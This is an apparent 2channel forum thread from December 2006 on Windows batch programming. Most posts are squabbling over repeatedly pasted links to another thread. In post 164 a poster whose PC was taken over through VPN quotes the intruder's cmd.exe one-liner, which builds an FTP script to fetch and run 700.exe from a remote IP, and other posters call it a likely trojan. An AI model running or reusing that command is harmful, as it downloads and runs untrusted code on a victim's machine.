まさかこのスレにshellの能書き垂れる馬鹿がいるとは……

149 :デフォルトの名無しさん:2006/12/16(土) 11:06:29
>>144
バッチ初心者はこちらへどうぞ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/

150 :デフォルトの名無しさん:2006/12/16(土) 13:53:36
>>149は荒し

151 :デフォルトの名無しさん:2006/12/16(土) 16:08:03
>>147
手本を見せてみろ

152 :127:2006/12/17(日) 04:09:53
すみません。
無駄に>>123にスレッドが消費されないように、>>123を貼り付けたのですが、
かえって、たくさん消費されちゃいましたね。
アイデアとしてはよいと思ったのですが、やっぱ駄目ですかね。

153 :デフォルトの名無しさん:2006/12/17(日) 08:23:40
>>152
荒らし目的なら兎も角、そうでないなら頭悪すぎだからな。

154 :デフォルトの名無しさん:2006/12/19(火) 10:13:24
朝っぱらからスマソがおしえてくれ
IEを開くまでできるがその後、
ツール−インターネットオプション→クッキーの削除
するソースがわからん

155 :デフォルトの名無しさん:2006/12/19(火) 10:39:05
スレ違い

156 :デフォルトの名無しさん:2006/12/19(火) 11:30:41
>>154
自分でプログラムを作らない人はここへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/

157 :デフォルトの名無しさん:2006/12/19(火) 15:10:08
>>154
やったことないけど
del C:\Documents and Settings\username\Cookies\*.txt
は?

158 :デフォルトの名無しさん:2006/12/19(火) 15:49:05
>155-156
誘導スマソ ここが適所スレとおもた。
>157
なるほど直接ファイルのあるフォルダを指定して消すやり方もあるんだなぁ

キーボード操作でメニューバー動かすbatをおしえてくれろ
これで当分は自分でなんとか出来るからおねがいします

159 :デフォルトの名無しさん:2006/12/19(火) 16:11:34
batでは無理

参考
http://pc8.2ch.net/test/read.cgi/win/1152544955/354-364

160 :デフォルトの名無しさん:2006/12/19(火) 16:18:25
>>158
そういうのはバッチに限定しない方がいいからこっちへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/

DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
コマンドラインインタフェースに関するネタならなんでもOK。

161 :デフォルトの名無しさん:2006/12/19(火) 16:26:55
>159-160
知らなかったorz

昨日batを知ったばかりの廚なのでスマソかった

162 :デフォルトの名無しさん:2006/12/19(火) 16:45:06
ちょっとだけスレ使わせていただきまつ

今、パソコン乗っ取られますた!ここの住人か?
初めての経験でつ勉強になりましたが気持ち悪かったです
で教えて欲しいですがセキュリティの甘いところはVPNのパスだけでしょうか?
それともルーターの設定があまいのかおしえれ

163 :デフォルトの名無しさん:2006/12/19(火) 16:56:33
昨日もおかしな現象が起こってたんだよな。
ipは晒してないから別の路線から来たと思うけど
それとも割れからトロイか?

164 :デフォルトの名無しさん:2006/12/19(火) 17:06:05
VPN経路で、ファイル名指定して実行で
cmd.exe /c del i&echo open xxx.xxx.xxx.115 11857 > i&echo user 1 echo get 700.exe >> i &echo quit >> i &ftp -n -s:i &700.ex
ここまで書いたおまいだよ!

165 :デフォルトの名無しさん:2006/12/19(火) 17:27:25
本スレはここ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/

166 :デフォルトの名無しさん:2006/12/19(火) 18:05:23
別の板にスレ作っとくからそこへ鯉♪
スレ板名を記入しなくても分かるよな

スレッド汚してスマソかった。m(__)m

167 :デフォルトの名無しさん:2006/12/19(火) 18:06:04
>>164
とりあえずdel i は不要だな

かなりの確率でトロイだと思われ

168 :デフォルトの名無しさん:2006/12/19(火) 18:34:43
>>161
WSHを聞くなら、こっちが罵倒されないだけ、いいかも。
http://www.roy.hi-ho.ne.jp/mutaguchi/bbs/index.shtml

169 :デフォルトの名無しさん:2006/12/19(火) 18:43:51
>167
トロイだろうなorz
>168
どうもありがとうです

別板にスレ作ったが奴は来ないがルータ初期化してVNC切ったから
細かい事は読み取れないのか?分からなかったらメルアド知ってるだろw
そこにメール汁!!!あ、kenziの方な他はあまり見ないから。

170 :デフォルトの名無しさん:2006/12/19(火) 20:43:19
>>165は荒しなので無視してください

171 :デフォルトの名無しさん:2006/12/19(火) 21:48:46
バッチの本スレ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/

172 :デフォルトの名無しさん:2006/12/19(火) 21:53:06
>>171のスレは「本スレ」ではありません。だまされないように。

173 :デフォルトの名無しさん:2006/12/19(火) 22:07:28
>>172は嘘です。だまされないように。

174 :デフォルトの名無しさん:2006/12/19(火) 22:13:25
バッチファイルプログラミング 3.bat
http://pc8.2ch.net/test/read.cgi/tech/1148485555/ プログラミング限定

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK

175 :デフォルトの名無しさん:2006/12/19(火) 22:16:55
それくらいの熱心さであっちに書き込んだらよいのに。
あっちに書くほどの技術内容がないから、こっちに無内容なこと書くわけ?

176 :デフォルトの名無しさん:2006/12/19(火) 22:18:33
執拗に同じものを貼る人はある種の病気なんだろうな。

177 :デフォルトの名無しさん:2006/12/19(火) 22:24:17
病気なら仕方がないか。早く直ってね。
それまで、みんな温かく見守ってあげようよ。
背景輻射、ブラックマターだと思って気にしないこと。
それが一番病人にいいんじゃないの。

178 :デフォルトの名無しさん:2006/12/19(火) 22:32:17
>>175-177
書きたいことは一度に書け。
もしかして他人の書き込みを装ったつもり?

179 :デフォルトの名無しさん:2006/12/19(火) 22:34:50
>>178
2,3人いるんだろ。
病人は早く寝たほうがいいですよ。

180 :デフォルトの名無しさん:2006/12/19(火) 22:42:19
心にやましいことがなければ、病気だと思う奴のことなんか放置すればいいのに
やましいことをしている自覚があるから、反論を書かずにはいられないんですね。

181 :デフォルトの名無しさん:2006/12/19(火) 22:46:53
>>178
本当の意図は何か、はっきり言ったらすっきりするんじゃないか?
>>1が嫌いとか、>>1にバカにされたことを根に持ってるとか。
引き合いに出して、ごめんね>>1 それくらいのことしか考えられないもんね。


182 :デフォルトの名無しさん:2006/12/19(火) 22:51:00
初心者はこちらへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK

183 :デフォルトの名無しさん:2006/12/19(火) 22:54:44
181

184 :デフォルトの名無しさん:2006/12/19(火) 22:55:01
>>180
>心にやましいこと
それだよ、それ。想像でいいから、何だと思う?

185 :デフォルトの名無しさん:2006/12/19(火) 23:01:15
( ̄ー ̄)ニヤリ

186 :デフォルトの名無しさん:2006/12/19(火) 23:46:08
スレ立てから200日以上経過しているのに200レス逝かないスレ、
つまり1日平均1レス以下という勢いのスレで、
殆ど同じ思想の書き込みが、数分間隔で3連投。
同じような思想を持った人が2,3人居るという点は否定しないが
全てsageなので、スレが目立つ位置に上がったわけでもないのに
その3人が思想だけではなく文の特徴まで同じくして
このタイミングで書き込みってのは、さすがに…( ´_ゝ`)

187 :デフォルトの名無しさん:2006/12/19(火) 23:51:04
>>186
専ブラ使ってれば別に不思議でも何でもないのだが

188 :デフォルトの名無しさん:2006/12/19(火) 23:54:16
技術的内容のない書き込みは無用に、という程度のことを
思想とまで評価していただき、痛み入ります。
で、
自分のために書き込んでおられるなら、他人への迷惑となるのでお止めください。
他人のために書き込んでおられるなら、他人が無用と言っておりますのでお止めください。

189 :デフォルトの名無しさん:2006/12/19(火) 23:56:28
たった数分の間に、同じ思想と同じ文章癖を持つ3人が
2chブラウザでプログラム板かこのスレが入ったお気に入りグループの更新を実行。
板垣恵介ならシンクロニシティだって言い出しそうだなw

> 他人のために書き込んでおられるなら、他人が無用と言っておりますのでお止めください。
「図星を突かれて痛いので、もうやめてください」と解釈しました。


190 :デフォルトの名無しさん:2006/12/20(水) 00:04:43
>>189
どう解釈してもいいけれど、今後は無用な誘導はご遠慮ください。

191 :デフォルトの名無しさん:2006/12/20(水) 00:06:04
type con >nul

192 :デフォルトの名無しさん:2006/12/20(水) 00:07:13
CLS

193 :デフォルトの名無しさん:2006/12/20(水) 00:09:25
このスレはこっちへ移動しました↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK

194 :デフォルトの名無しさん:2006/12/20(水) 00:13:27
>>193はそっちのスレに移動してここに戻ってこないでください。
今後このスレには来ないでください。

195 :デフォルトの名無しさん:2006/12/20(水) 00:14:40
>>191
そのコマンドラインは何を言っても無駄ってことかなw

196 :デフォルトの名無しさん:2006/12/20(水) 00:20:36
>>192
折角、水に流して、と思ったのに。

197 :デフォルトの名無しさん:2006/12/24(日) 10:38:42
cls

198 :デフォルトの名無しさん:2006/12/24(日) 10:39:59
doskey /history

199 :デフォルトの名無しさん:2006/12/24(日) 12:09:55
質問はこちらへどうぞ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK

200 :デフォルトの名無しさん:2006/12/24(日) 16:54:22
バッチの質問はこのスレでok

201 :デフォルトの名無しさん:2006/12/24(日) 17:27:14
ここは誘導するだけ
バッチとはそういうもの

202 :デフォルトの名無しさん:2006/12/24(日) 18:59:14
そろそろ通報するか
十分同一コピペになっただろ。

203 :デフォルトの名無しさん:2006/12/24(日) 19:09:53
>>202
残念ながらこの程度は全然問題ないよ。
試しに報告してみれば?
自分が過剰に反応してるだけだって思い知れるから。

204 :デフォルトの名無しさん:2006/12/24(日) 19:15:40
了解
ただ今、荒らしのレス番、集計中。
ダメ元で報告してくるよ。

47 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)